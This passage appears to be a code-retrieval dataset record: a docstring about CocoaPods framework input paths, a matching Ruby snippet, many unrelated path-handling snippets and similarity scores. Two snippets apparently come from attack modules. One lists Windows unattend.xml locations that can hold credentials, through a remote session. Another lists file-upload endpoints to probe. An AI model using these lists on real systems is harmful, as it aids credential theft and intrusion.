name)\n end\n paths\n else\n Array(resolve_as_directory test_dir_name)\n end\n end", "def yay_paths\n\t\t\tresult = [current_path,local_yay_path,global_yay_path]\n\t\t\tgempaths.each { |v| \n\t\t\t\tresult.push gempath_to_yaypath(v)\n\t\t\t}\n\t\t\treturn result\n\t\tend", "def get_chef_files_absolute_paths path\n get_file_absolute_paths(path).select { |file| is_valid_chef_component_file?(file) }\n end", "def get_paths(namespace = MAIN_NAMESPACE)\n @paths[namespace] || []\n end", "def paths\n configuration.paths\n end", "def get_path_pins(path); end", "def get_path_pins(path); end", "def embed_frameworks_output_paths(framework_paths, xcframeworks)\n paths = framework_paths.map do |framework_path|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{File.basename(framework_path.source_path)}\"\n end.uniq\n # Static xcframeworks are not copied to the build dir\n # so only include dynamic artifacts that will be copied to the build folder\n xcframework_paths = xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.map do |xcframework|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{xcframework.name}.framework\"\n end\n paths + xcframework_paths\n end", "def logical_paths\n return to_enum(__method__) unless block_given?\n\n seen = Set.new\n self.paths.each do |root|\n stat_tree(root).each do |filename, stat|\n if stat.file?\n logical_path = logical_path_for(filename)\n if !seen.include?(logical_path)\n yield logical_path, filename\n seen << logical_path\n end\n end\n end\n end\n\n nil\n end", "def directory_paths\n pages.map { |p| File.dirname(p.path).split(\"/\")[0] }.uniq\n end", "def expanded_seed_paths(seed_paths)\n seed_paths.collect { |path|\n if FileTest.directory?(path)\n binaries_in_directory(path)\n else\n path\n end\n }.flatten\nend", "def resources\n @resources ||= begin\n resources = request_path.strip.\n split('/').\n compact.\n map(&:strip).\n each_with_index.\n select { |_, index| index % 2 == 1 }.\n map { |a, _| a.to_sym }\n\n *rest, tail = *resources\n if RAILS_METHODS.index(tail)\n rest\n else\n resources\n end\n end\n end", "def math_images_paths(modality = nil)\n math_images.to_a(modality).uniq_by{ |v| v.basename }\n end", "def resource_path(*args)\n segments = []\n segments.append(shift_segment!(args)) until args.empty?\n segments.flatten.compact.join '/'\n end", "def file_paths\n src_file_mask = File.join(@folder_path, '**', '*.c')\n @file_paths = Dir.glob(src_file_mask)\n return @file_paths\n end", "def asset_files\n asset_files = []\n Find.find(assets_path).each do |path|\n next if File.directory?(path)\n next if path.include?(stylesheets_path) || path.include?(images_path)\n asset_files << path.sub(assets_path, 'assets')\n end\n asset_files\n end", "def toPathList(arr); arr.join(File::PATH_SEPARATOR) end", "def all_filenames\n\n\n # This checks for it being an array and not nil!\n # return @filenames if @filenames && !@filenames.empty?\n\n # This means we can add files to the output\n return $filenames if $filenames && $filenames.size > 5 # I guess that small numbers are errors too\n \n if @directory\n @output_directory ||= File.join(@directory, 'Build')\n $filenames = Dir.glob(File.join(@directory, \"**/*\")).map {|file|\n next if file.start_with?(@output_directory)\n next if File.directory?(file)\n file.gsub(@directory+\"/\", \"\")\n }.compact\n else\n []\n end\n end", "def input_files\n ts = prerequisite_tasks.select { |t| t.is_a? Chore }.to_a\n @input_files ||= Fileset.new(ts)\n end", "def all_active_paths\n all_active_states.map(&:path)\n end" ]
[ "0.66897076", "0.65654", "0.63224965", "0.63178664", "0.624684", "0.61743546", "0.61714906", "0.6109313", "0.60726273", "0.60675794", "0.60056865", "0.5977739", "0.5953805", "0.5951337", "0.59202105", "0.59168273", "0.59031516", "0.58494526", "0.5840587", "0.58181113", "0.5745748", "0.5738573", "0.57355326", "0.57290304", "0.57236576", "0.5722101", "0.5703514", "0.5703514", "0.5690367", "0.5690321", "0.5690321", "0.5690321", "0.5690321", "0.5690321", "0.56560534", "0.56461936", "0.5640335", "0.56403327", "0.56403327", "0.563477", "0.56260246", "0.56064236", "0.560466", "0.56018436", "0.55998725", "0.5599385", "0.5586313", "0.55803007", "0.5569655", "0.5561767", "0.5553572", "0.55384356", "0.5532197", "0.55250126", "0.5522975", "0.55217534", "0.5518137", "0.5517087", "0.5510775", "0.5508138", "0.5505815", "0.5505815", "0.5496425", "0.54715776", "0.5470349", "0.54664624", "0.54632723", "0.5460779", "0.54537976", "0.5442201", "0.5419665", "0.5403959", "0.539091", "0.5390772", "0.5382023", "0.53722304", "0.5360102", "0.53529316", "0.53488255", "0.5348277", "0.5345328", "0.53273404", "0.5306483", "0.5297337", "0.52925473", "0.5286284", "0.5286284", "0.5277133", "0.5270313", "0.52673537", "0.52666724", "0.5263779", "0.5263512", "0.5255502", "0.52420497", "0.522486", "0.52211946", "0.52063143", "0.5201732", "0.5192154" ]
0.76816154
0
Returns the framework input paths for the given framework paths
def embed_frameworks_input_paths(framework_paths, xcframeworks) input_paths = framework_paths.map(&:source_path) # Only include dynamic xcframeworks as the input since we will not be copying static xcframework slices xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.each do |xcframework| name = xcframework.name input_paths << "#{Pod::Target::BuildSettings.xcframework_intermediate_dir(xcframework)}/#{name}.framework/#{name}" end input_paths end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def embed_frameworks_output_paths(framework_paths, xcframeworks)\n paths = framework_paths.map do |framework_path|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{File.basename(framework_path.source_path)}\"\n end.uniq\n # Static xcframeworks are not copied to the build dir\n # so only include dynamic artifacts that will be copied to the build folder\n xcframework_paths = xcframeworks.select { |xcf| xcf.build_type.dynamic_framework? }.map do |xcframework|\n \"${TARGET_BUILD_DIR}/${FRAMEWORKS_FOLDER_PATH}/#{xcframework.name}.framework\"\n end\n paths + xcframework_paths\n end", "def framework_directories\n return @framework_dirs unless @framework_dirs.nil?\n framework_path = File.join(@root_path, 'frameworks')\n if File.exists?(framework_path)\n @framework_dirs = Dir.entries(framework_path).reject do |x|\n (/^\\./ =~ x) || !File.directory?(File.join(framework_path,x))\n end\n else\n @framework_dirs = []\n end\n\n return @framework_dirs\n end", "def filePaths\n result = OpenStudio::PathVector.new\n if @workflow[:file_paths]\n @workflow[:file_paths].each do |file_path|\n result << OpenStudio.toPath(file_path)\n end\n else\n result << OpenStudio.toPath('./files')\n result << OpenStudio.toPath('./weather')\n result << OpenStudio.toPath('../../files')\n result << OpenStudio.toPath('../../weather')\n result << OpenStudio.toPath('./')\n end\n result\n end", "def load_paths\n [root.join('lib'), root.join('spec')].join(':')\n end", "def add_framework_search_paths(project, name)\n\n ['iOS', 'macOS'].each do |platform|\n [true, false].each do |isTest|\n \tt = target(project, name, platform, isTest)\n\n \t# Add carthage build dir to framework search paths\n t.build_configuration_list.set_setting(\n 'FRAMEWORK_SEARCH_PATHS', \n \"$(SRCROOT)/#{carthage_build_dir_for_platform(platform)}\"\n )\n\n if isTest\n # Add carthage build dir to runpath search paths\n case platform\n when 'iOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/Frameworks @loader_path/Frameworks $(SRCROOT)/Carthage/Build/iOS\"\n )\n when 'macOS'\n t.build_configuration_list.set_setting(\n 'LD_RUNPATH_SEARCH_PATHS',\n \"$(inherited) @executable_path/../Frameworks @loader_path/../Frameworks $(SRCROOT)/Carthage/Build/Mac\"\n )\n end\n end\n end\n end\nend", "def input_paths(asset_module, format)\n asset_module.assets(format).map{|asset| asset.absolute_path}\n end", "def resource_output_paths(resource_input_paths)\n resource_input_paths.map do |resource_input_path|\n base_path = '${TARGET_BUILD_DIR}/${UNLOCALIZED_RESOURCES_FOLDER_PATH}'\n extname = File.extname(resource_input_path)\n basename = extname == '.xcassets' ? 'Assets' : File.basename(resource_input_path)\n output_extension = Target.output_extension_for_resource(extname)\n File.join(base_path, File.basename(basename, extname) + output_extension)\n end.uniq\n end", "def mungle_paths(paths)\n return paths if terraform.pre_0_12?\n\n paths.map do |path|\n File.directory?(path) ? path : File.dirname(path)\n end.uniq\n end", "def component_paths platform\n @component_paths||={} \n @component_paths['pc']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//,/\\/common/).pathmap('%d')\n @component_paths['common']||=FileList[\"#{@current_dir}/**/build.cfg\"].exclude(/\\/gen\\//,/\\/dsl\\//,/\\/programs\\//,/\\/mocks\\//).pathmap('%d')\n return @component_paths[platform]+@component_paths['common']\n end", "def paths\n Array(config.path).map(&:to_s)\n end", "def paths\n tree_path = File.join(File.dirname(__FILE__), 'rails_tree')\n [\"\", \"multitest\", \"results\"].inject([tree_path]) do |result, suffix|\n result << File.join(result[-1], suffix)\n end[1..3]\n end", "def framework_names\n return @cache_framework_names unless @cache_framework_names.nil?\n\n ret = next_library.nil? ? [] : next_library.framework_directories\n ret += framework_directories\n return @cache_framework_names = ret.compact.uniq.sort\n end", "def lookup_paths\n if list = ENV['RUBY_LIBRARY']\n list.split(/[:;]/)\n #elsif File.exist?(path_file)\n # File.readlines(path_file).map{ |x| x.strip }.reject{ |x| x.empty? || x =~ /^\\s*\\#/ }\n elsif ENV['GEM_PATH']\n ENV['GEM_PATH'].split(/[:;]/).map{ |dir| File.join(dir, 'gems', '*') }\n elsif ENV['GEM_HOME']\n ENV['GEM_HOME'].split(/[:;]/).map{ |dir| File.join(dir, 'gems', '*') }\n else\n warn \"No Ruby libraries.\"\n []\n end\n end", "def require_paths\n raw_data['require_paths'] || []\n end", "def default_assembly_paths\n paths = []\n paths.concat %w( bin ).map{ |dir| \"#{root_path}/#{dir}\"}.select{ |dir| File.directory?(dir) }\n end", "def paths\n @paths ||= [\n data_path,\n output_path,\n converted_path,\n converted_fail_path,\n unpacked_path,\n unpacked_fail_path,\n recreated_path,\n ]\n end", "def expanded_seed_paths(seed_paths)\n seed_paths.collect { |path|\n if FileTest.directory?(path)\n binaries_in_directory(path)\n else\n path\n end\n }.flatten\nend", "def resolve_paths names\n if context.tag_filters.any?\n # Bats doesn't support tags\n []\n elsif names.any?\n paths = []\n for name in names\n paths.concat Array(resolve_name name)\n end\n paths\n else\n [test_dir]\n end\n end", "def version_input_paths\n @version_input_paths ||= Hash[ version_input_path_keys.map{ |v, k| [ v, instance_variable_get(:\"@#{k}\") ] } ]\n end", "def paths_from_software_gems\n @paths_from_software_gems ||=\n Array(Config.software_gems).inject([]) do |array, name|\n if (spec = Gem::Specification.find_all_by_name(name).first)\n array << File.expand_path(spec.gem_dir)\n end\n\n array\n end\n end", "def source_paths\n paths = raw_require_paths.dup\n\n if have_extensions?\n ext_dirs = extensions.map do |extension|\n extension.split(File::SEPARATOR, 2).first\n end.uniq\n\n paths.concat ext_dirs\n end\n\n paths.uniq\n end", "def target_frameworks\n if netcore?\n tfw = @proj_xml_node.css('Project PropertyGroup TargetFramework').inner_text\n tfws = @proj_xml_node.css('Project PropertyGroup TargetFrameworks').inner_text\n nfws = if tfw.nil? || tfw == '' then tfws else tfw end\n fws = nfws.split(';')\n else\n [ target_framework ]\n end\n end", "def paths\n configuration.paths\n end", "def init_paths\n drive = session.sys.config.getenv('SystemDrive')\n\n files =\n [\n 'unattend.xml',\n 'autounattend.xml'\n ]\n\n target_paths =\n [\n \"#{drive}\\\\\",\n \"#{drive}\\\\Windows\\\\System32\\\\sysprep\\\\\",\n \"#{drive}\\\\Windows\\\\panther\\\\\",\n \"#{drive}\\\\Windows\\\\Panther\\Unattend\\\\\",\n \"#{drive}\\\\Windows\\\\System32\\\\\"\n ]\n\n paths = []\n target_paths.each do |p|\n files.each do |f|\n paths << \"#{p}#{f}\"\n end\n end\n\n # If there is one for registry, we add it to the list too\n reg_path = get_registry_unattend_path\n paths << reg_path unless reg_path.empty?\n\n return paths\n end", "def paths\n @paths ||= []\n @paths\n end", "def paths\n @paths ||= []\n @paths\n end", "def yay_paths\n\t\t\tresult = [current_path,local_yay_path,global_yay_path]\n\t\t\tgempaths.each { |v| \n\t\t\t\tresult.push gempath_to_yaypath(v)\n\t\t\t}\n\t\t\treturn result\n\t\tend", "def paths; end", "def paths; end", "def paths; end", "def paths; end", "def paths; end", "def default_application_paths\n paths = []\n\n # Followed by the standard includes.\n paths.concat %w(\n config\n lib\n lib/core_ext\n app\n app/models\n app/controllers\n app/converters\n app/helpers\n ).map { |dir| \"#{root_path}/#{dir}\" }.select { |dir| File.directory?(dir) }\n end", "def base_paths\n @base_paths ||= find_base_paths\n end", "def load_paths\n unless @load_paths\n @load_paths = []\n \n if File.directory?(app_path)\n @load_paths << app_path\n \n # Sort for consistency across platforms\n @load_paths.concat(Dir[\"#{app_path}/*/\"].map(&:chop).sort!)\n end\n end\n \n @load_paths\n end", "def stage_install_paths(stage)\n select_existing_paths = proc do |cookbook_path, paths|\n paths.select {|from, _| cookbook_path.join(from).exist?}\n end\n\n common_paths = [['metadata.json', 'metadata.json']]\n\n Dir[vendor_path.join('*')]\n .map(&Pathname.method(:new))\n .map do |cookbook_path|\n cookbook_name = File.basename cookbook_path\n is_builder = (cookbook_name == name)\n is_dimod = cookbook_name.start_with? 'dimod-'\n dimod_enabled = is_dimod && enabled_modules.include?(cookbook_name)\n\n paths = if is_builder\n common_dapp_paths = select_existing_paths.call(\n cookbook_path,\n [\n *common_paths,\n [\"files/#{stage}/common\", 'files/default'],\n [\"templates/#{stage}/common\", 'templates/default'],\n *enabled_recipes.flat_map do |recipe|\n [[\"files/#{stage}/#{recipe}\", 'files/default'],\n [\"templates/#{stage}/#{recipe}\", 'templates/default']]\n end\n ]\n )\n\n recipe_paths = enabled_recipes\n .map {|recipe| [\"recipes/#{stage}/#{recipe}.rb\", \"recipes/#{recipe}.rb\"]}\n .select {|from, _| cookbook_path.join(from).exist?}\n\n if recipe_paths.any?\n [*recipe_paths, *common_dapp_paths]\n else\n [nil, *common_dapp_paths]\n end\n elsif is_dimod && dimod_enabled\n common_dimod_paths = select_existing_paths.call(\n cookbook_path,\n [\n *common_paths,\n [\"files/#{stage}\", 'files/default'],\n ['files/common', 'files/default'],\n [\"templates/#{stage}\", 'templates/default'],\n ['templates/common', 'templates/default'],\n [\"attributes/#{stage}.rb\", \"attributes/#{stage}.rb\"],\n ['attributes/common.rb', 'attributes/common.rb']\n ]\n )\n\n recipe_path = \"recipes/#{stage}.rb\"\n if cookbook_path.join(recipe_path).exist?\n [[recipe_path, recipe_path], *common_dimod_paths]\n else\n [nil, *common_dimod_paths]\n end\n elsif !is_dimod\n [['.', '.']]\n end\n\n [cookbook_path, paths] if paths && paths.any?\n end.compact\n end", "def upload_paths\n @paths ||= begin\n (images + files + renders).map do |name|\n file_path = @directory.join(name)\n\n next unless File.readable?(file_path)\n\n file_path\n end.compact\n end\n end", "def monitored_paths\n paths = Dir['**/*'].select do |path|\n @script.patterns.any? {|p| path.match(p) }\n end\n paths.push(@script.path).compact!\n paths.map {|path| Pathname(path).expand_path }\n end", "def load_framework_interfaces\n interfaces = Array.new\n components_directory = \"#{File.dirname(__FILE__)}/../\"\n Dir.entries(components_directory).select {|entry| File.directory?(File.join(components_directory, entry)) && !(entry =='.' || entry == '..') }.each do |iface_dir|\n interfaces.push(extract_interface_info( components_directory, iface_dir)) if File.exist?(\"#{components_directory}#{iface_dir}/index.html\")\n end\n interfaces\nend", "def internal_load_paths(paths)\n load_paths = []\n unless paths.is_a? Array\n paths = [paths]\n end\n \n paths.each do |path|\n expanded_path = File.expand_path(path)\n if File.exists?( expanded_path )\n @class_loader.addPath( expanded_path )\n \n load_paths << expanded_path\n end\n end\n \n load_paths\n end", "def header_include_paths\n cmd = RbConfig::MAKEFILE_CONFIG[\"CC\"]\n args = %w{-Wp,-v -xc /dev/null -fsyntax-only}\n paths = []\n reading_paths = false\n run_command(cmd, *args) do |line|\n line.chomp!\n if reading_paths\n if line == 'End of search list.'\n reading_paths = false\n elsif line.match(/\\A /)\n line.strip!\n line.sub!(/\\s+\\(framework directory\\)\\Z/, '')\n paths << line\n end\n elsif line == '#include <...> search starts here:'\n reading_paths = true\n end\n end\n paths\nend", "def load_paths\n unless @load_paths\n @load_paths = []\n \n if File.directory?(app_path)\n @load_paths << app_path\n \n # Sort for consistency\n self.class.mixable_app_types.keys.map(&:to_s).sort.each do |type|\n path = \"#{app_path}/#{type}\"\n @load_paths << path if File.directory?(path)\n end\n end\n end\n \n @load_paths\n end", "def ingest_paths\n path = Pathname.new(Figgy.config[\"ingest_folder_path\"]).join(ingest_directory)\n return [] unless path.exist?\n path.children.select(&:directory?)\n end", "def source_paths\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n [File.expand_path(File.dirname(__FILE__))]\nend", "def source_paths\n [File.expand_path(File.dirname(__FILE__))]\nend", "def paths\n Array(@ruhoh.cascade.paths.map{|h| h[\"path\"]}).map { |path|\n collection_path = File.join(path, resource_name)\n next unless File.directory?(collection_path)\n\n collection_path\n }.compact\n end", "def paths\n unless @paths\n @paths = []\n @paths << project._(:source, :main, :assets) if File.exist?(project._(:source, :main, :assets))\n end\n @paths\n end", "def paths\n root.paths\n end", "def native_library_artifact_paths(only_platforms = nil)\n platforms_list = only_platforms.nil? ? platforms : only_platforms\n extensions.keys.flat_map do |name|\n rubies.flat_map do |ruby|\n platforms_list.flat_map do |platform|\n if native_library_artifacts && native_library_artifacts[name.to_s]\n native_library_artifacts[name.to_s].map do |artifact_platform, artifacts|\n next unless platform == artifact_platform.to_s\n artifacts.map { |a| File.join(extensions_target_path, name.to_s, ruby, platform, a) }\n end\n elsif @project_config['native_artifacts'] && @project_config['native_artifacts'][name.to_s] # backward compatibility (e.g. esr-licensing <0.3)\n @project_config['native_artifacts'][name.to_s].map do |artifact|\n next unless platform == platform.to_s\n File.join(extensions_target_path, name.to_s, ruby.to_s, platform, artifact)\n end\n else\n [File.join(extensions_target_path, name.to_s, ruby.to_s, platform, name.to_s + '.so')]\n end\n end\n end\n end\nend", "def framework_bundles\n @cached_framework_bundles ||= framework_names.map { |x| bundle_for(x) }\n end", "def paths\n paths = {}\n end", "def paths\n paths = {}\n end", "def lib_paths\n @mpc_project.recipe.get_relative_paths(@mpc_project.lib_paths)\n end", "def load_paths(paths)\n load_paths = []\n unless paths.is_a? Array\n paths = [paths]\n end\n \n paths.each do |path|\n expanded_path = File.expand_path(path)\n if !@loaded_paths.include?( expanded_path ) && File.exists?( expanded_path )\n $CLASSPATH << expanded_path\n load_paths << expanded_path\n @loaded_paths << expanded_path\n end\n end\n \n load_paths\n end", "def paths\n @paths ||= {}.with_indifferent_access\n end", "def paths\n self.config[:paths]\n end", "def path_components\n ENV[\"PATH\"].split(File::PATH_SEPARATOR)\n end", "def split_paths(paths)\n (paths || '').split(File::PATH_SEPARATOR).map { |p| to_pathname(p) }\n end", "def require_paths\n raise NotImplementedError\n end", "def require_paths\n @require_paths ||= data.require_paths\n end", "def set_input_output_paths(phase, input_paths_by_config, output_paths_by_config)\n if input_output_paths_use_filelist?(phase)\n [input_paths_by_config, output_paths_by_config].each do |hash|\n hash.each do |file_list, files|\n generator = Generator::FileList.new(files)\n Xcode::PodsProjectGenerator::TargetInstallerHelper.update_changed_file(generator, file_list.file_list_path)\n end\n end\n\n phase.input_paths = nil\n phase.output_paths = nil\n phase.input_file_list_paths = input_paths_by_config.each_key.map(&:file_list_relative_path).uniq\n phase.output_file_list_paths = output_paths_by_config.each_key.map(&:file_list_relative_path).uniq\n else\n input_paths = input_paths_by_config.values.flatten(1).uniq\n output_paths = output_paths_by_config.values.flatten(1).uniq\n TargetIntegrator.validate_input_output_path_limit(input_paths, output_paths)\n\n phase.input_paths = input_paths\n phase.output_paths = output_paths\n phase.input_file_list_paths = nil\n phase.output_file_list_paths = nil\n end\n end", "def allowable_project_paths(paths)\n lproj_paths = Set.new\n lproj_paths_with_files = Set.new\n\n # Remove all file ref under .docc folder, but preserve the .docc folder\n paths = merge_to_docc_folder(paths)\n\n allowable_paths = paths.select do |path|\n path_str = path.to_s\n\n # We add the directory for a Core Data model, but not the items in it.\n next if path_str =~ /.*\\.xcdatamodeld\\/.+/i\n\n # We add the directory for a Core Data migration mapping, but not the items in it.\n next if path_str =~ /.*\\.xcmappingmodel\\/.+/i\n\n # We add the directory for an asset catalog, but not the items in it.\n next if path_str =~ /.*\\.xcassets\\/.+/i\n\n if path_str =~ /\\.lproj(\\/|$)/i\n # If the element is an .lproj directory then save it and potentially\n # add it later if we don't find any contained items.\n if path_str =~ /\\.lproj$/i && path.directory?\n lproj_paths << path\n next\n end\n\n # Collect the paths for the .lproj directories that contain files.\n lproj_path = /(^.*\\.lproj)\\/.*/i.match(path_str)[1]\n lproj_paths_with_files << Pathname(lproj_path)\n\n # Directories nested within an .lproj directory are added as file\n # system references so their contained items are not added directly.\n next if path.dirname.dirname == lproj_path\n end\n\n true\n end\n\n # Only add the path for the .lproj directories that do not have anything\n # within them added as well. This generally happens if the glob within the\n # resources directory was not a recursive glob.\n allowable_paths + lproj_paths.subtract(lproj_paths_with_files).to_a\n end", "def framework_root() @framework_root ||= File.dirname(__FILE__) end", "def in_source_dir(*paths); end", "def initial_paths; end", "def require_paths; end", "def require_paths; end", "def sdk_dir_list\n src_dirs = ENV['TM_FLEX_SDK_SEARCH_PATHS'] || FLEX_DIRS.join(\":\")\n src_dirs\n end", "def load_paths\n @_load_paths_was = %w(lib models shared).map { |path| Padrino.root(path) }\n @_load_paths ||= @_load_paths_was\n end", "def paths\n @paths ||= {}\n end", "def possible_files(context, path, base_path)\n path = Pathname.new(path)\n base_path = Pathname.new(base_path).dirname\n paths = [ path, partialize_path(path) ]\n\n # Find base_path's root\n env_root_paths = context.environment.paths.map {|p| Pathname.new(p) }\n root_path = env_root_paths.detect do |env_root_path|\n base_path.to_s.start_with?(env_root_path.to_s)\n end\n root_path ||= Pathname.new(context.root_path)\n\n # Add the relative path from the root, if necessary\n if path.relative? && base_path != root_path\n relative_path = base_path.relative_path_from(root_path).join path\n paths.unshift(relative_path, partialize_path(relative_path))\n end\n\n paths.compact\n end", "def source_paths\n[File.join(File.expand_path(File.dirname(__FILE__)),'rails_root')]\nend", "def getSharediOSFrameworkNames(framework_name)\n # TODO: Need to handle multiple projects\n framework_project_path = getCarthageProjectPath(framework_name)\n \n if framework_project_path.to_s.empty?\n return nil\n end\n \n framework_project = Xcodeproj::Project.open(framework_project_path)\n framework_shared_schemes = Xcodeproj::Project.schemes(framework_project_path)\n framework_targets = framework_project.native_targets.select { |framework_target| framework_target.iOSSharedFramework?(framework_shared_schemes) }\n all_framework_names = framework_targets.map { |framework_target|\n # Check target configuration file first\n framework_name = getConfigAttributes(framework_target)&.dig(\"PRODUCT_NAME\")&.delete! ';'\n \n if framework_name.to_s.empty?\n framework_name = framework_target.common_resolved_build_setting(\"PRODUCT_NAME\")\n end\n \n if framework_name == '$(TARGET_NAME)'\n framework_name = framework_target.name\n elsif framework_name == '$(TARGET_NAME:c99extidentifier)'\n # TODO: Add full support for 'c99extidentifier' if needed\n framework_name = framework_target.name\n elsif framework_name == '$(PROJECT_NAME)'\n framework_name = File.basename(framework_project_path, \".*\")\n end\n \n framework_name\n }\n \n return all_framework_names\nend", "def paths\n f = File.open(@path)\n f.grep(FILE_NAME_PATTERN) { $1 }\n end", "def configured_require_paths\n return ['lib'] if directory.empty?\n return [File.join(directory, 'lib')] if config.require_paths.empty?\n config.require_paths.map{|p| File.join(directory, p)}\n end", "def load_path(match, options={})\n found = []\n systems.each do |system|\n found.concat system.load_path(match, options)\n end\n found.uniq\n end", "def get_paths(files, context)\n files = files.split(/ (\\|\\||or) /).map do |file|\n file = file.strip\n context[file].nil? ? file : context[file]\n end\n end", "def enumerate(paths)\n files = []\n\n paths.each do |path|\n # STDIN idiom\n if path == '-'\n files << [\n path,\n if @dotconfig.nil?\n nil\n else\n config(Dir.pwd)\n end\n ]\n # Skip symlinks\n elsif File.symlink?(path)\n nil\n elsif File.directory?(path) && (@dotignore.nil? || !ignore?(path))\n files.concat(\n enumerate(\n Find.find(path).reject do |p| File.directory?(p) end\n )\n )\n elsif !ignore?(path)\n files << [\n path,\n if @dotconfig.nil?\n nil\n else\n config(path)\n end\n ]\n end\n end\n\n files\n end", "def step2e_sources(path)\n return [path.sub(/^tmp/, 'out/bam').sub(/\\.step2e$/, '.bam')]\nend", "def add_embed_frameworks_script_phase(native_target, spec)\n script_path = \"${PODS_ROOT}/#{target.embed_frameworks_script_path_for_spec(spec).relative_path_from(target.sandbox.root)}\"\n\n input_paths_by_config = {}\n output_paths_by_config = {}\n\n dependent_targets = if spec.test_specification?\n target.dependent_targets_for_test_spec(spec)\n else\n target.dependent_targets_for_app_spec(spec)\n end\n host_target_spec_names = target.app_host_dependent_targets_for_spec(spec).flat_map do |pt|\n pt.specs.map(&:name)\n end.uniq\n framework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.framework_paths.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n xcframework_paths = dependent_targets.flat_map do |dependent_target|\n spec_paths_to_include = dependent_target.library_specs.map(&:name)\n spec_paths_to_include -= host_target_spec_names\n spec_paths_to_include << spec.name if dependent_target == target\n dependent_target.xcframeworks.values_at(*spec_paths_to_include).flatten.compact\n end.uniq\n\n if use_input_output_paths? && !framework_paths.empty? || !xcframework_paths.empty?\n input_file_list_path = target.embed_frameworks_script_input_files_path_for_spec(spec)\n input_file_list_relative_path = \"${PODS_ROOT}/#{input_file_list_path.relative_path_from(target.sandbox.root)}\"\n input_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(input_file_list_path, input_file_list_relative_path)\n input_paths_by_config[input_paths_key] = [script_path] + UserProjectIntegrator::TargetIntegrator.embed_frameworks_input_paths(framework_paths, xcframework_paths)\n\n output_file_list_path = target.embed_frameworks_script_output_files_path_for_spec(spec)\n output_file_list_relative_path = \"${PODS_ROOT}/#{output_file_list_path.relative_path_from(target.sandbox.root)}\"\n output_paths_key = UserProjectIntegrator::TargetIntegrator::XCFileListConfigKey.new(output_file_list_path, output_file_list_relative_path)\n output_paths_by_config[output_paths_key] = UserProjectIntegrator::TargetIntegrator.embed_frameworks_output_paths(framework_paths, xcframework_paths)\n end\n\n if framework_paths.empty? && xcframework_paths.empty?\n UserProjectIntegrator::TargetIntegrator.remove_embed_frameworks_script_phase_from_target(native_target)\n else\n UserProjectIntegrator::TargetIntegrator.create_or_update_embed_frameworks_script_phase_to_target(\n native_target, script_path, input_paths_by_config, output_paths_by_config)\n end\n end", "def input_files\n @input_files ||= to_file(@args.input)\n end", "def framework_path\n File.join(config.build_products_dir, name)\n end", "def generate_require_paths; end", "def resolve_paths names\n if names.any?\n paths = []\n for name in names\n paths.concat Array(resolve_name name)\n end\n paths\n else\n Array(resolve_as_directory test_dir_name)\n end\n end", "def find_includes include_dirs, src\r\n includes = Rake::CParser.parse_file_includes src\r\n res = includes.collect { |inc|\r\n search_includes include_dirs, src, inc\r\n }\r\n res.compact\r\n end", "def framework_root\n @framework_root ||= File.dirname(__FILE__)\n end", "def path_setup\n raise ArgumentError, \"Required path param missing\" unless path_params?\n path_params.values.join(\".\")\n end", "def list_paths\n @paths = RouteRecognizer.new.initial_path_segments.reject do |path|\n %w(assets rails).include? path\n end\n end", "def paths_s\n \"['#{paths.join(\"','\")}']\"\n end", "def app_load_path(*paths)\n paths.each do |path|\n dir = app_path(path)\n $LOAD_PATH.unshift(dir) unless $LOAD_PATH.include?(dir)\n end\nend", "def generate_require_paths\n return configured_require_paths unless gemspec?\n result = []\n gemspecs.each do |file|\n base = File.dirname(file)\n # HACK: Evaluating gemspec files violates the goal of not running\n # workspace code, but this is how Gem::Specification.load does it\n # anyway.\n cmd = ['ruby', '-e', \"require 'rubygems'; require 'json'; spec = eval(File.read('#{file}'), TOPLEVEL_BINDING, '#{file}'); return unless Gem::Specification === spec; puts({name: spec.name, paths: spec.require_paths}.to_json)\"]\n o, e, s = Open3.capture3(*cmd)\n if s.success?\n begin\n hash = o && !o.empty? ? JSON.parse(o.split(\"\\n\").last) : {}\n next if hash.empty?\n @gemnames.push hash['name']\n result.concat(hash['paths'].map { |path| File.join(base, path) })\n rescue StandardError => e\n Solargraph.logger.warn \"Error reading #{file}: [#{e.class}] #{e.message}\"\n end\n else\n Solargraph.logger.warn \"Error reading #{file}\"\n Solargraph.logger.warn e\n end\n end\n result.concat(config.require_paths.map { |p| File.join(directory, p) })\n result.push File.join(directory, 'lib') if result.empty?\n result\n end", "def require_paths=(paths)\n @require_paths = each_path(paths).to_a\n end", "def upload_paths\r\n %w[\r\n /server/php/index.php\r\n /server/php/upload.class.php\r\n /server/php/UploadHandler.php\r\n /example/upload.php\r\n /php/index.php\r\n ].map { |u| normalize_uri(target_uri.path, u) }\r\n end", "def require_paths\n return raw_require_paths unless have_extensions?\n\n [extension_dir].concat raw_require_paths\n end", "def input_files\n ts = prerequisite_tasks.select { |t| t.is_a? Chore }.to_a\n @input_files ||= Fileset.new(ts)\n end", "def paths_for(controller=:_all,action=:_all)\n return files_for(:paths,controller,action)\n end", "def resolve_paths(loaders)\n mod_resolver = loaders.instance_variable_get(:@module_resolver)\n all_mods = mod_resolver.instance_variable_get(:@all_module_loaders)\n end", "def get_relative_paths(paths)\n paths.collect do |p|\n get_relative_path(p)\n end\n end" ]
